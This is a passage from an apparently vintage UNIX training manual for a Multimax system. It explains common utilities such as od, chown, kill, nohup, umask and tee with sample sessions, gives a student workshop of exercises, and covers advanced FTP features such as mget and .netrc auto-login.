+ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: od [options] filename º +º º +º See online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This command is useful for viewing executable (object) files and +text files with embedded nonprinting characters. The dump can be +shown in octal (default) or hexadecimal or character or decimal. +The name od is short for octal dump. + +Sample session: + +................................................................. +. $od -c memo . +................................................................. + +Problem: I want to print and format the contents of a specific + file. + +Solution: pr command. + + + +The formal form for the pr command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: pr [options] file_list º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This command will break up files into pages, usually before +printing. Each page will have a header with the name of the +file, date, time, and page number. Usually the output if pr is +piped to lp so the file can be printed. + +Sample session: + +................................................................. +. $pr memo | lp . +................................................................. + +Problem: I just wrote a memo and I want to check for mis-spelled + words. + +Solution: spell command + + + + +The formal form for the spell command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: spell [options] file_list º +º º +º See online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The spell command will display all words that are not in the +dictionary or that can be derived from those words. You can +specify more than one file but only one list of misspelled words +will be shown. + +Sample session: + +................................................................. +. $spell memo . +................................................................. + +Problem: I want to write a file to tape and later retrieve it + back into my directory. + +Solution: tar command + + + +The formal form for the tar command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: tar key[options] [file_list] º +º º +º See online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This command can create, add to, list, or retrieve files from an +archive file. The archive file is usually stored on tape. The +name tar is short for tape archive. +Problem: How many lines are in this file? How many words are in + this file? How many characters are in this file? + +Solution: wc command + + + +The formal form for the wc utility is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: wc [-lwc] filename º +º º +º See online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +Sample session: + +................................................................. +. $wc memo . +................................................................. +7. UNIX UTILITIES PART II - DISPLAY AND ALTER STATUS + + +Problem: I want to change the group for a particular file so + users outside my group can have access. + +Solution: chgrp command + + + +The formal form for the chgrp command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: chgrp group file_list º +º º +º See online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +Sample session: + +................................................................. +. $chgrp class memo . +................................................................. + +Problem: I want to transfer ownership of a file to another user. + +Solution: chown command + + + +The formal form for the chown command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: chown owner file_list º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +The chown command is short for change owner. Only the owner or +Superuser can change the ownership of a file. + + +Example: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $chown rharding /u/do/teacher/memo ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The file /u/do/teacher/memo is now owned by the username +rharding. + +Problem: How can I find out how much space I have left on my + disk partition? + +Solution: df command + + + +The formal form for the df command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: df [options] [file_system_list] º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +The df (disk free) command will show how much free space is +remaining on any mounted device or directory. The amount of +space left is usually displayed in blocks. Each block is 1024 +bytes in length. + +Sample session: + +................................................................. +. $df . +................................................................. + +Problem: How much space does this file occupy on the disk? + +Solution: du command + + + +The formal form for the du command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: du [options] [file_list] º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The du (disk usage) command reports how much space a directory +and all its subdirectories occupy. It tells the size in blocks, +usually 1024 bytes each. + + +Sample session: + +................................................................. +. $du -s . +. 472 . . +. $ . +................................................................. + +Problem: I started a process that I don't need anymore. How can + I get rid of it? + +Solution: kill it with the kill command + + + +The formal form for the kill command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: kill [option] PID_list º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + + +The kill command can stop a process by sending a software +termination signal (number 15) to a process. The process being +killed must belong to the user of the kill command. The +Superuser can, however, kill any process. A message will be +displayed indicating that the process was killed. + + +Sample session: + +................................................................. +. $compute & . +. 1742 . +. $kill 1742 . +................................................................. + +Problem: There are some files I need access to but they are in + another group. How can I get access to them? + +Solution: newgrp command + + + +The formal form for the newgrp command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: newgrp [group] º +º º +º See online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This command will fork a new Shell and while in that Shell you +have the privileges of the group you named on the command line. +In order for you to use this command you must be listed in the +/etc/group file as a member of the group. If you don't specify a +group it will change you back to the default as specified in the +/etc/passwd file. + + +Sample session: + +................................................................. +. $newgrp pubs . +................................................................. + +Problem: This job can be run at a lower priority than default. + I want to be a good user and lower the priority so the + system can run more efficiently. Can I do that? + +Solution: nice command + + + + +The formal form for the nice command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: nice [option] command_line º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +This command will execute the command line at a lower priority +than normal. You can specify a range from 1-19. Sorry, only the +Superuser can raise the priority. + + +Sample session: + +................................................................. +. $nice -19 nroff -m chapter1 > chapter1.out & . +................................................................. + +Problem: I want the following command to run to completion even + after I logout of the system. Is that possible? + +Solution: nohup command + + + + +The formal form for the nohup command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: nohup command_line º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This command will allow the command that was started to continue +running even though you logout. Normally when you logout, all +processes that you started are killed by the system. + + +Sample session: + +................................................................. +. $nohup nroff -m memo > memo.out & . +................................................................. + +Note that this process was started in the background. + +Problem: What is the status of the process I just started? + +Solution: ps command + + + + +The formal form for the ps command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: ps [options] º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +With no options specified, ps will display the status of all +active processes that your terminal controls. + +Problem: I want to make my process inactive for a few minutes so + the user can read the screen before continuing. + +Solution: sleep command + + + + +The formal form for the sleep command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: sleep time º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The sleep command will cause the process executing it to sleep +for the time you specify. The time is indicated in seconds. It +must be less than 65,536. + +Problem: I have just logged into a different terminal than I + normally use. It doesn't act right. How can I change + the attributes for my new terminal? + +Solution: stty command + + + + +The formal form for the stty command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: stty [arguments] º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +With no arguments, stty will report certain parameters affecting +the operation of your terminal. The mode of data transmission, +the treatment of characters, the data line specification, and +transmission delays can all be set to different values. +Problem: I don't like the default protections for files that I + create using the editor. How can I change the default + so my files can't be read by others outside my group? + +Solution: umask command + + + + +The formal form for the umask command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: umask [mask] º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This command will specify the mask that will be used by the +system to set the file protections when you create a file. Mask +is a three digit octal number. When you create a file the system +will subtract these numbers from the system defined protections +and the resultant protection will be assigned to the newly +created file. +8. UNIX UTILITIES PART III - MISCELLANEOUS + + +Problem: I just wrote a BourneShell script and I want it to + execute once a week at midnight. Can this be done in + UNIX? + +Solution: at command + + + + +The formal form for the at command is as follows: + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: at time [date] [+ increment] º +º º +º at [options] job_list º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The at command causes the system to execute commands it gets from +standard input. It executes them as a Shell script in the +working directory at a time you specify. + + +Sample session: + +................................................................. +. $at 2am . +. pr long_file | lp . +. Ctrl-d . +. job 474285699.a at Fri Jan 11 02:00:00 1991 . +. $ . +................................................................. + +Problem: I need to display a message on the screen? + +Solution: echo command + + + +The formal form for the echo command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: echo message º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This command will copy its arguments, followed by a carriage +return, to standard output. + + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $echo "This is an example" ³ +³ This is an example ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +Problem: I want to send some output to a file and I want to see + it displayed on my screen at the same time. + +Solution: tee command + + + + +The formal form for the tee command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: tee [options] file_list º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +The tee command copies standard input to its standard output and +to one or more files you specify. + + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $date | tee hold.date ³ +³ Wed Dec 19 09:32:22 PST 1984 ³ +³ $cat hold.date ³ +³ Wed Dec 19 09:32:22 PST 1984 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +Problem: What is my terminal pathname? + +Solution: tty command + + + + +The formal form for the tty command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: tty º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The tty command displays the pathname of its standard input file +if it is a terminal. + + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $tty ³ +³ /dev/tty11 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +Problem: How can I update the modification date of a file + without loading it into the editor and really making a + change? + +Solution: touch command + + + + +The formal form for the touch command is as follows: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: touch [options] file_list º +º º +º See the online man pages for details º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The touch command will read a byte from the file an write it back +so the update time associated with the file will be updated. If +the file doesn't exist it will create it unless you specify the +option not to create the file. + +Workshop + +This workshop will reinforce your understanding of the material +presented in this chapter. Login using the username and the +password given to you by the instructor. Each student is to +complete the entire workshop. + +DESK EXERCISES + + 1. What UNIX command would you use to find out the + differences between two files? + + + + + + 2. How could you find a file in a subdirectory when you + don't know the name? + + + + + + 3. What command can link a file to another directory? + + + + + + 4. The od command stands for octal dump. Can you display the + contents in hexadecimal? + + + + + + 5. What is the command to change group? + + + + + + + 6. Can I change the ownership of a file that I don't own? + What is the command to change the ownership of a file + that I do own? + + + + + + Continue on the next page + + 7. What command would you use to kill a child process? + + + + + + + + 8. I want to be nice. What command can I use to lower the + priority of a process? + + + + + + + + 9. I want to start a process in the background and then + logoff. The child process will run to completion. How? + + + + + + + 10. What is the at command? + + + + + + + + + + + + + + + + + + + + + + + + + + Continue on the next page + +COMPUTER EXERCISES + + + + 11. Use the appropriate command to determine if the file vi + is located in the /bin directory. If not, where is it? + + + + + + + + 12. Create a link to a file in another students directory. + + + + + + + + 13. Run the spell checker against the file called memo. + + + + + + + 14. How many files are in the teacher subdirectory? + + + + + + + 15. Change ownership of one of your files to another + student. + + + + + + 16. How much disk space is remaining on your directory? + + + + + + + + + Continue on the next page + + 17. Make a copy of the file called teacher/prob_17 to + your home directory. Execute it in background. Find + out its PID and then kill it. + + + + + + + 18. Use the tee command and echo a message of your choice to + the file called message1 and your monitor screen. + + + + + + 19. Logout +9. ADVANCED FEATURES OF FTP + + +This chapter will discuss some advanced features of the FTP +server as implemented on the Multimax. The introduction of FTP +in UNIX for Beginning Users gave an elementary introduction to +some of the features. If you are not familiar with the basics, +please refer to that manual. It is not the purpose to review +those basics here. + +The FTP (Internet file transfer program) is the user interface to +the DARPA File Transfer Protocol. This utility program will +transfer files to and from a remote computer. In order for files +to be transferred from the local computer to a remote computer, a +connection must be established. This can be done from the FTP +command line. The connection to the remote computer will remain +active until it is terminated by the user. + +The remote computer with whom the connection is to be made can be +specified on the FTP command. In this case, FTP will immediately +try to establish a connection. If the remote computer is not +specified, FTP will enter its command interpreter mode and wait +for instructions; a prompt will be displayed. + +FTP does have a help feature, and all 58 commands can be listed. +It will also give a terse description of each command. In +addition, there are on-line manual pages which can be accessed by +using the man command in UMAX. +9.1 Initializing FTP on UMAX + + +The term, "local computer," will refer to the Multimax. The +"remote computer" will refer to the other computer with which you +are trying to send/receive files. For purposes of this course, +we will be referring to the VAX minicomputer as the remote +computer. Please be aware that these procedures will work for +any computer connected to Ethernet and having an FTP server. + +FTP can be invoked on the local computer using the following +syntax: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: ftp [-v] [-d] [-i] [-n] [-g] [host] º +º º +º -v = verbose on, forces ftp to show all responses º +º from the remote server º +º º +º -d = enables debugging º +º º +º -i = turn off interactive prompting during º +º multiple file transfers. º +º º +º -n = disables the "auto-login" feature º +º º +º -g = disable filename globbing º +º º +º host = the name of the remote computer º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +NOTE: UMAX (UNIX) is case sensitive. The commands and + options must be entered as shown. +9.2 Multiple File Transfers + + +The syntax for the multiple get command is: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: mget remote-files º +º º +º remote-files = remote computer wildcard specification º +º or º +º file1 file2 ... filen º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +The remote computer wildcard specification is expanded in a +process called globbing. Once the globbing is complete, a get is +performed on each filename; and it is transferred to the local +computer. The filename is the same on both computers. You can +specify the filenames to be transferred separating them with +spaces. + +Example: +................................................................. +. ftp>mget *.dat;* . +................................................................. + + +This command will transfer all versions of the remote-files that +have the filename extension of .dat. If the option -i was +specified on the call to FTP, then the files will be transferred +automatically. If the option was not specified, FTP will prompt +you before transferring each file. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ftp>mget *.dat ³ +³ mget change_pass.dat;1? ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + +The default is 'yes', pressing (Ret) will cause the file to be +sent to the local directory. If you don't want this file +transferred, enter n(Ret); you will then be prompted for the next +file, if one exists. +9.3 Auto Login Feature + + +It is possible to have the login procedure occur automatically. +To do this requires a file in your home directory called .netrc. +The .netrc file contains login and initialization information to +be used by the auto-login process. The following variables are +used and can be separated by spaces, tabs, or new lines. + + +machine name + +This is the name of the remote computer. The auto-login process +will search the .netrc file for a machine variable that matches +the name of the remote computer on the ftp command or as an open +command argument. Once a match is found, the next variables are +also processed until the end of file or another machine variable +is encountered. + + +login name + +This is the username on the remote system. If this variable is +present, the auto-login process will login to the remote computer +with the given username. + + +password string + +This is the password to be used when logging into the remote +system. + +NOTE: If this variable is present in the .netrc file, ftp + will abort the auto-login process if the .netrc file is + readable by anyone but the user. + + +account string + +This supplies an additional account password. If present, the +auto-login process will supply the string as an additional +password if required by the remote server. + + +macdef name + +This defines a macro. This variable will function like the ftp +macdef command. A macro is defined with the specified name, its +contents begin with the next .netrc line and continue until a +null line (2 new line characters). If a macro named init is +defined, it will be executed as the last step of the auto-login +process. +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $cat .netrc ³ +³ machine erc830 ³ +³ login teacher ³ +³ password secret1 ³ +³ machine erc780 ³ +³ login rharding ³ +³ password secret2 ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +To invoke the auto-login feature, type the ftp command and enter +the name of the remote computer as an argument. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $ftp erc830 ³ +³ Connected to erc830. ³ +³ 220 erc830 Wollongong FTP Server (Ver 5.0) at Tue Oct 23 ³ +³ 331 Password required for rharding. ³ +³ 230 User logged in, default directory D_1131:[RHARDING] ³ +³ ftp> ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +If the .netrc file is readable by anyone other than the user, the +following error message will appear; and the connection will not +be made to the remote computer. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $ls -l .netrc ³ +³ $ftp erc830 ³ +³ Connected to erc830. ³ +³ 220 erc830 Wollongong FTP Server (Ver 5.0) at Tue Oct 23 ³ +³ Error - .netrc file not correct mode. ³ +³ Remove password or correct code. ³ +³ 221 Goodbye. ³ +³ ftp> ³ 